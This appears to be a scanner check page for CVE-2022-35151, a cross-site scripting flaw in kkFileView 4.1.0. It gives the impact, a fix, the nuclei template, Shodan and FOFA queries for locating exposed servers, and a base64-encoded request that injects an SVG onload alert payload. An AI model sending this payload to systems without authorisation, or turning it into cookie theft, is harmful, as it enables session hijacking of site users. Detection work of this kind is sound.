kkFileView 4.1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement.

Fix

To mitigate this vulnerability, it is recommended to update kkFileView to the latest version or apply a patch provided by the vendor.

How to confirm it

Send: GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D
Positive when: contains "<svg/onload=alert(document.domain)>" and "图片预览" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-35151 -u <target>

The full check

id: CVE-2022-35151

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To mitigate this vulnerability, it is recommended to update kkFileView to the latest version or apply a patch provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/366
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35151
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/youcans896768/APIV_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-35151
    cwe-id: CWE-79
    epss-score: 0.01632
    epss-percentile: 0.76449
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,xss,kkfileview,keking,vuln

http:
  - raw:
      - |
        GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - '图片预览'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from